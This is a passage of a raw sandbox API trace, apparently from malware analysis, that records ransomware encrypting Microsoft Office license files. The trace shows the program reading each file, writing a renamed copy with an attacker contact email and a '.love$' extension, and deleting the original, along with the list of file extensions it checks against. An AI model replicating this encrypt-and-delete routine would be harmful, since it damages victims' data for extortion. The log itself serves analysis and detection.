Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0276.761] lstrlenW (lpString=".1cd") returned 4 [0276.761] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0276.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0276.761] lstrlenW (lpString=".jpg") returned 4 [0276.761] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0276.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0276.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0276.761] lstrlenW (lpString=".doc") returned 4 [0276.761] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0276.761] lstrlenW (lpString=".docx") returned 5 [0276.761] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0276.761] lstrlenW (lpString=".pdf") returned 4 [0276.761] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0276.761] lstrlenW (lpString=".xls") returned 4 [0276.761] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0276.761] lstrlenW (lpString=".xlsx") returned 5 [0276.761] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0276.761] lstrlenW (lpString=".ppt") returned 4 [0276.761] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0276.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0276.761] lstrlenW (lpString=".zip") returned 4 [0276.761] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0276.761] lstrlenW (lpString=".rar") returned 4 [0276.761] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0276.761] lstrlenW (lpString=".bz2") returned 4 [0276.762] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0276.762] lstrlenW (lpString=".7z") returned 3 [0276.762] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0276.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0276.762] lstrlenW (lpString=".dbf") returned 4 [0276.762] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0276.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0276.762] lstrlenW (lpString=".1cd") returned 4 [0276.762] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0276.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0276.762] lstrlenW (lpString=".jpg") returned 4 [0276.762] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0276.769] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0276.769] lstrlenW (lpString="O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 37 [0276.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0276.771] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=11635) returned 1 [0276.771] CloseHandle (hObject=0x418) returned 1 [0276.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms")) returned 0x220 [0276.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0276.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0276.772] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.772] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0276.773] GetLastError () returned 0x0 [0276.773] ReadFile (in: hFile=0x418, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2d73, lpOverlapped=0x0) returned 1 [0277.230] WriteFile (in: hFile=0x454, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0277.231] ReadFile (in: hFile=0x418, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.231] WriteFile (in: hFile=0x454, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x11e, lpOverlapped=0x0) returned 1 [0277.232] SetEndOfFile (hFile=0x454) returned 1 [0277.232] CloseHandle (hObject=0x454) returned 1 [0277.232] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.232] SetEndOfFile (hFile=0x418) returned 1 [0277.236] CloseHandle (hObject=0x418) returned 1 [0277.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0277.238] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms")) returned 1 [0277.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0277.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0277.240] lstrlenW (lpString=".doc") returned 4 [0277.240] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0277.240] lstrlenW (lpString=".docx") returned 5 [0277.240] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0277.240] lstrlenW (lpString=".pdf") returned 4 [0277.240] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0277.240] lstrlenW (lpString=".xls") returned 4 [0277.240] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0277.241] lstrlenW (lpString=".xlsx") returned 5 [0277.241] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0277.241] lstrlenW (lpString=".ppt") returned 4 [0277.241] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0277.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0277.241] lstrlenW (lpString=".zip") returned 4 [0277.241] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0277.241] lstrlenW (lpString=".rar") returned 4 [0277.241] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0277.241] lstrlenW (lpString=".bz2") returned 4 [0277.241] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0277.241] lstrlenW (lpString=".7z") returned 3 [0277.241] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0277.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0277.241] lstrlenW (lpString=".dbf") returned 4 [0277.241] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0277.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0277.241] lstrlenW (lpString=".1cd") returned 4 [0277.241] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0277.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0277.242] lstrlenW (lpString=".jpg") returned 4 [0277.242] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0277.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0277.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0277.242] lstrlenW (lpString=".doc") returned 4 [0277.242] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0277.242] lstrlenW (lpString=".docx") returned 5 [0277.242] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0277.242] lstrlenW (lpString=".pdf") returned 4 [0277.242] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0277.242] lstrlenW (lpString=".xls") returned 4 [0277.242] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0277.242] lstrlenW (lpString=".xlsx") returned 5 [0277.242] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0277.242] lstrlenW (lpString=".ppt") returned 4 [0277.242] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0277.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0277.242] lstrlenW (lpString=".zip") returned 4 [0277.242] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0277.242] lstrlenW (lpString=".rar") returned 4 [0277.242] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0277.242] lstrlenW (lpString=".bz2") returned 4 [0277.242] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0277.242] lstrlenW (lpString=".7z") returned 3 [0277.242] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0277.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0277.242] lstrlenW (lpString=".dbf") returned 4 [0277.243] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0277.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0277.243] lstrlenW (lpString=".1cd") returned 4 [0277.243] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0277.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0277.243] lstrlenW (lpString=".jpg") returned 4 [0277.243] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0277.243] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0277.243] lstrlenW (lpString="O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 37 [0277.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0277.244] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=11635) returned 1 [0277.245] CloseHandle (hObject=0x418) returned 1 [0277.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms")) returned 0x220 [0277.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0277.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0277.245] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.245] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0277.247] GetLastError () returned 0x0 [0277.247] ReadFile (in: hFile=0x418, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2d73, lpOverlapped=0x0) returned 1 [0277.253] WriteFile (in: hFile=0x454, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0277.255] ReadFile (in: hFile=0x418, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.255] WriteFile (in: hFile=0x454, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x11e, lpOverlapped=0x0) returned 1 [0277.255] SetEndOfFile (hFile=0x454) returned 1 [0277.256] CloseHandle (hObject=0x454) returned 1 [0277.264] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.264] SetEndOfFile (hFile=0x418) returned 1 [0277.323] CloseHandle (hObject=0x418) returned 1 [0277.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0277.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms")) returned 1 [0277.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0277.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0277.325] lstrlenW (lpString=".doc") returned 4 [0277.325] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0277.325] lstrlenW (lpString=".docx") returned 5 [0277.325] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0277.325] lstrlenW (lpString=".pdf") returned 4 [0277.325] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0277.325] lstrlenW (lpString=".xls") returned 4 [0277.325] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0277.325] lstrlenW (lpString=".xlsx") returned 5 [0277.325] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0277.325] lstrlenW (lpString=".ppt") returned 4 [0277.326] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0277.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0277.326] lstrlenW (lpString=".zip") returned 4 [0277.326] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0277.326] lstrlenW (lpString=".rar") returned 4 [0277.326] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0277.326] lstrlenW (lpString=".bz2") returned 4 [0277.326] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0277.326] lstrlenW (lpString=".7z") returned 3 [0277.326] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0277.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0277.326] lstrlenW (lpString=".dbf") returned 4 [0277.326] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0277.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0277.326] lstrlenW (lpString=".1cd") returned 4 [0277.326] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0277.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0277.326] lstrlenW (lpString=".jpg") returned 4 [0277.326] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0277.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0277.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0277.326] lstrlenW (lpString=".doc") returned 4 [0277.326] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0277.326] lstrlenW (lpString=".docx") returned 5 [0277.326] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0277.326] lstrlenW (lpString=".pdf") returned 4 [0277.326] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0277.326] lstrlenW (lpString=".xls") returned 4 [0277.327] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0277.327] lstrlenW (lpString=".xlsx") returned 5 [0277.327] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0277.327] lstrlenW (lpString=".ppt") returned 4 [0277.327] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0277.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0277.327] lstrlenW (lpString=".zip") returned 4 [0277.327] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0277.327] lstrlenW (lpString=".rar") returned 4 [0277.327] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0277.327] lstrlenW (lpString=".bz2") returned 4 [0277.327] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0277.327] lstrlenW (lpString=".7z") returned 3 [0277.327] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0277.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0277.327] lstrlenW (lpString=".dbf") returned 4 [0277.327] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0277.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0277.327] lstrlenW (lpString=".1cd") returned 4 [0277.327] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0277.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0277.327] lstrlenW (lpString=".jpg") returned 4 [0277.327] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0277.327] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0277.328] lstrlenW (lpString="O365HomePremR_SubTrial3-ppd.xrm-ms") returned 34 [0277.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0277.329] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=23135) returned 1 [0277.329] CloseHandle (hObject=0x418) returned 1 [0277.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms")) returned 0x220 [0277.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0277.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0277.330] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.330] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0277.332] GetLastError () returned 0x0 [0277.332] ReadFile (in: hFile=0x418, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x5a5f, lpOverlapped=0x0) returned 1 [0278.866] WriteFile (in: hFile=0x574, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x5a60, lpOverlapped=0x0) returned 1 [0278.868] ReadFile (in: hFile=0x418, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.868] WriteFile (in: hFile=0x574, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x118, lpOverlapped=0x0) returned 1 [0278.869] SetEndOfFile (hFile=0x574) returned 1 [0279.093] CloseHandle (hObject=0x574) returned 1 [0279.093] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.093] SetEndOfFile (hFile=0x418) returned 1 [0280.821] CloseHandle (hObject=0x418) returned 1 [0280.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0280.822] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms")) returned 1 [0280.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0280.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0280.827] lstrlenW (lpString=".doc") returned 4 [0280.827] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0280.827] lstrlenW (lpString=".docx") returned 5 [0280.827] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0280.827] lstrlenW (lpString=".pdf") returned 4 [0280.827] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0280.827] lstrlenW (lpString=".xls") returned 4 [0280.827] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0280.827] lstrlenW (lpString=".xlsx") returned 5 [0280.827] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0280.827] lstrlenW (lpString=".ppt") returned 4 [0280.827] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0280.827] lstrlenW (lpString="C:\\Program Files\\Microsoft 